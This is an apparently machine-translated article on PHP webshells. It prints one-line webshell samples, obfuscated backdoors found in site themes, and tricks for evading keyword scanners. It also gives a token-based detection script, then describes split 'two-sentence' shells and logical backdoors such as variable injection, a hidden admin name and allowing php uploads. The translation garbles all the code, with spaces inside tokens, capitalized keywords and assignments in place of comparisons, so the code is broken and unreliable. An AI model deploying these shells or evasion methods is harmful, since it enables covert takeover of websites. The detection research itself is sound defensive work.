Webshell Factors
We can see from the simplest webshell structure its basic structure: "<? Php eval ($ _ POST ['a']);?>"
According to the published webshell statement, it basically conforms to this structure, that is, the implementation of shell requires two steps: data transmission and data transferred by execution.
Data Transmission & Bypass Detection
For data transmission, we usually use $ _ GET, $ _ POST, $ _ SERVER, and $ _ COOKIE to obtain client data. However, if such keywords appear directly, it can be easily traced back. We have several solutions to solve this problem:
Use the input encapsulation of the framework of the application to obtain the transmitted data.
Attackers can bypass detection in a certain way, such as using $ {"_ G". "ET "}. However, this method also has its own shortcomings. You can track "$ {"; however, this type of tracking can be bypassed through the "$/* a */{" method (of course, it is possible to be tracked ).
Use other data acquisition methods to obtain data, such as $ _ REQUEST, $ GLOBALS ["_ GET"], and $ _ FILE.
Artificial language or application vulnerabilities are hard to detect, such as spoofing administrator sessions.
Data Execution & Bypass Detection
For Data Execution, we usually use the following functions or methods: www.2cto.com eval, create_function, '', exec, preg_replace, and so on. Of course, if such keywords appear directly, our automated webshell detection script can be easily identified. Currently, we have fewer solutions to bypass detection:
1. Use $ a () to execute functions. However, this method also has its own rules in it, and many scanners have built in "$. * ($. * "this rule can also be bypassed through $ a/* a */() and the corresponding work und. (Of course, it is possible to be tracked again)
2. Try to find functions that are not in the blacklist, or very common functions.
Presentation and detection scheme of a single sentence webshell
There are many variants of encrypted webshells mentioned on Weibo recently. There are tiny php shells mentioned by Fredrik.
Http://h.ackack.net/tiny-php-shell.html ):
<? = ($ _ = @ $ _ GET [2]). @ $ _ ($ _ GET [1])?>
Non alphanumeric webshell with Spanner
Http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php ):
<?
$ _ = "";
$ _ [+ ""] = '';
$ _ = "$ _"."";
$ _ = ($ _ [+ ""] | ""). ($ _ [+ ""] | ""). ($ _ [+ ""] ^ "");
?>
<? =$ {'_'. $ _} ['_'] ($ {'_'. $ _} ['_']);?>
There are also N webshells seen from the http://blog.sucuri.net
Http://blog.sucuri.net/2011/09/ask-sucuri-what-about-the-backdoors.html ):
If (isset ($ _ REQUEST ['asc ']) eval (stripslashes ($ _ REQUEST ['asc']);
Wp _ theme_icon = create_function (", file_get_contents ('/path/wp-content/themes/themename/images/void.jpg'); $ wp _ theme_icon ();
$ Auth_pass = "63a9f0ea7bb98050796b649e85481845 ″;
$ Color = "# df5 ″;
$ Default_action = "SQL ";
$ Default_charset = "Windows-1251 ″;
$ Protectionoffer = "ficken ";
Preg_replace ("/. */e", "\ x65 \ x76 \ x61 \ x6C ...");
<? Php $ XKsyG = 'as'; $ RqoaUO = 'E'; $ ygDOEJ = $ XZKsyG. 'S '. $ RqoaUO. 'R'. 'T'; $ joEDdb
= 'B '. $ XZKsyG. $ RqoaUO. (64 ). '_'. 'D '. $ RqoaUO. 'C '. 'o '. 'D '. $ RqoaUO; @ $ ygDOEJ (@ $ j
OEDdb ('zxzhbchiyxnlnjrfzgvjb2rlkcjhv1lvyvhoelpy...
Someone found that:
$ K = "{$ {phpinfo ()}}";
More can see here: http://www.php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html
We can find the rule from the above shell. Although we have no perfect way to locate the data transmission step, we can easily find the Data Execution location: "(". According to my current situation, the basic conditions for executing a data statement (include and ') will certainly include this parentheses, if any Daniel can implement the Code Execution method without parentheses in the code, please do not hesitate to inform me.
Therefore, we can easily make our webshell detection method: Use token_get_all to compress the php code into tokens, and then find every "(" to determine whether the data in front of the brackets is legal. As for how to determine the validity, we follow the principle: if it is a space, comment, and so on, then take the ignore method (I .e., continue, continue to judge); if it is a branch, condition judgment or operator, then we think it is legal. If it is a string and in the blacklist, we think it is illegal; otherwise, it is legal. If the above conditions are not met, we think it is illegal for the moment (through this option we constantly improve our configuration and algorithm ).
Based on the above theory, we implement our algorithm as follows (some of the Code is omitted for processing. for complete code, see the link below ):
<? Php
Final class Conf {
Public static $ strict = false;
// Functions that may cause harm
Public static $ vul_func = array ('create _ function', 'eval',... 'usort ');
Public static $ allow_chars = array ('. ',' = ',' + ','-',' * ','/',' % ',' ^ ','&', '| ','! ',);
// Hazard-free token type
Public static $ allow_type = array (T_AND_EQUAL, T_BOOLEAN_AND,... T_SWITCH );
// The token type to be ignored
Public static $ ignore_type = array (T_WHITESPACE, T_COMMENT, T_DOC_COMMENT ,);
}
Function check_callable ($ code ){
$ Token = token_get_all ($ code );
$ Vul = array (); $ flag = false;
For ($ I = 0; $ I <count ($ token); $ I ++ ){
If (is_string ($ token [$ I]) {
If ($ token [$ I] = '('){
$ Tmp = check_harmful ($ token, $ i-1); // point to "(" before
If ($ tmp) $ vul [] = $ tmp;
}
If ($ token [$ I] = '''){
$ Flag = true? False: true;
If ($ flag) $ vul [] = $ token [$ I + 1];
}
}
}
Return $ vul;
}
Function check_harmful ($ token, $ idx ){
For ($ I = $ idx; $ I> 0; $ I --){
If (is_array ($ token [$ I]) {
If (in_array ($ token [$ I] [1], Conf: $ vul_func )){
If (Conf: $ strict) {// strict check
If (has_varparam ($ token, $ idx + 1) return $ token [$ I]; // starts "("
Return false;
}
Return $ token [$ I];
}
If (in_array ($ token [$ I] [0], Conf: $ ignore_type) continue;
If (in_array ($ token [$ I] [0], Conf: $ allow_type) return false;
Return $ token [$ I]; // $ ();
} Else {
If (in_array ($ token [$ I], Conf: $ allow_chars) return false;
}
}
Return false;
}
Function has_varparam ($ token, $ idx ){
$ Bracket = 0;
For ($ I = $ idx; $ I <count ($ token); $ I ++ ){
If (is_string ($ token [$ I]) {
If ($ token [$ I] = "(") $ bracket ++;
If ($ token [$ I] = ")") $ bracket --;
} Else {
If ($ token [$ I] [0] = T_VARIABLE) return true;
}
If ($ bracket = 0) return false;
}
Return false;
}
Function _ main (){
$ Code = file_get_contents ("shell. php ");
$ Vuls = check_callable ($ code );
Var_dump ($ vuls );
}
_ Main ();
?>
Www.2cto.com
Without regard to the false positive rate and coverage rate, the above Code covers almost 100% of the webshell described earlier.
If you are interested, you can try to write some single-file shells to break through. If you break through, you may wish to give some advice.
The presentation form of "two sentences" webshell
(Of course, the so-called "two sentences" is only a conceptual description (gimmick), not a technology. This idea may not be original, so it is only summarized as a thought, rather than a new technology)
So when all these existing webshells can be detected (of course, the huge human flesh problem locating project will not be discussed for the moment ), we can first assume that we can detect and defend against the "one sentence" webshell through technical means (here the sentence refers to the above-mentioned data transfer and the webshell that the data is executed together ); the focus of this article is derived-if we separate the data transfer process from the Data Execution Process and construct our "two sentences" webshell, can we break through the above detection?
Of course, the separation I mean can not be written literally by dividing shell into two sentences:
$ A = $ _ GET ['a']; eval ($ );
This makes no sense. Instead, you can use some methods to hide the data transmitter and data executor. Here is a simple example. For example, we have inserted such code in a. php to generate a shell file if necessary:
File_put_contents ("/home/www/abc.txt", str_rot13 ('some code already encode '));
Then we implement another data executor in B. php. The simplest thing is:
Include "/home/www/abc.txt ";
Therefore, this two-step webshell is hard to be found. Generally, webshell scripts do not start with functions such as file_put_contents, but if they do, there are still many ways to do this: for example, uploading a file, then get the file location through $ _ FILES ['userfile'] ['tmp _ name'], or use ftp_get to get an object; or construct an injection point that can be directly backupshell to complete this step. We can also use functions such as curl, file, imagecreatefrompng, get_headers, bzopen, and svn_checkout to provide data. Such functions can read network information or read or write local files, then we can make it our data provider, and the shell detection script will never put so far at your fingertips. It is also a good way to hide our data through sqlite, mysql, or other databases.
For data executors, even if all the include operations are grep, it is not that easy to find the webshell data executors. In particular, we assume that this include is the original normal code logic, and the change is only the previous data transmitter (that is, the page to be included ). In addition, some frameworks have the function of automatically loading helper and model, and even some have the function of automatically loading viewer, which is also a good place for us to hide. In addition, functions such as virtual, php_check_syntax, array_filter, array_map, array_walk, call_user_func, preg_replace, and usort can be used to bypass shell script detection, you can also directly find the above function in the application code to see if the variables referenced by the function can be changed to our data provider.
Therefore, we can see that the biggest difference between "two sentences" and a webshell is that it does not construct new data executors or can completely conceal data Executors (using existing code logic, etc ), the shell function is completed only by transforming or constructing the data provider. $ _ GET, $ _ POST, $ _ SERVER, $ _ COOKIE, $ _ FILE, $ _ REQUEST, $ GLOBALS ["_ GET"], $/* hello */ {"_ G ". "ET"} is our data transmitter. file_get_contents, file, file_put_contents, and even print_r and unserialize can all conceal the data we want to transmit. Of course, tools that scan for code hazards (such as Rips) can certainly scan for these risks, but these tools are not used to scan webshells after all, and the false positive rate is quite high.
Logical Backdoor
Of course, the above exploitation method still requires the existence of special functions. Therefore, we can try to leave another BACKDOOR: Logical backdoor, for example:
<? Php
Foreach ($ _ GET as $ key => $ value) {// added by an attacker
$ Key = $ value;
}
//... Some code
If (logged_in () | $ authenticated) {// original logic
//... Administration area
}
?>
Usage: http://www.example.com/index.php? Authenticated = true
Or add Logic
If ($ user_level = ADMIN | $ user_name = 'monyer ') {// admin area}
Or add Configuration
$ Allow_upload = array (
'Jpg ', 'gif', 'png ',
'Php ',
);
As you can imagine, the difficulty of detection is almost impossible to solve by scanning features. We can only use other methods, such as online file monitoring and periodic diff of online and SVN code.
OK. This article will describe the common backdoor and variant methods and detection methods, the Implementation ideas of the "two-sentence" backdoor and the logic backdoor. I hope you will have some gains after reading this article. If you have any questions, please feel free to contact us. Thank you!
Monyer.
One sentence: php webshell case and detection results:
Case: http://xeye.sinaapp.com/data/lab/php_shell/shell_sample.php
Find Shell: http://xeye.sinaapp.com/data/lab/php_shell/find_shell.php
Find Shell Code: http://xeye.sinaapp.com/data/lab/php_shell/find_shell.php? Show_code
References:
Http://h.ackack.net/tiny-php-shell.html
Http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/
Http://blog.sucuri.net/2011/09/ask-sucuri-what-about-the-backdoors.html
Http://sourceforge.net/projects/rips-scanner/
Http://www.php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html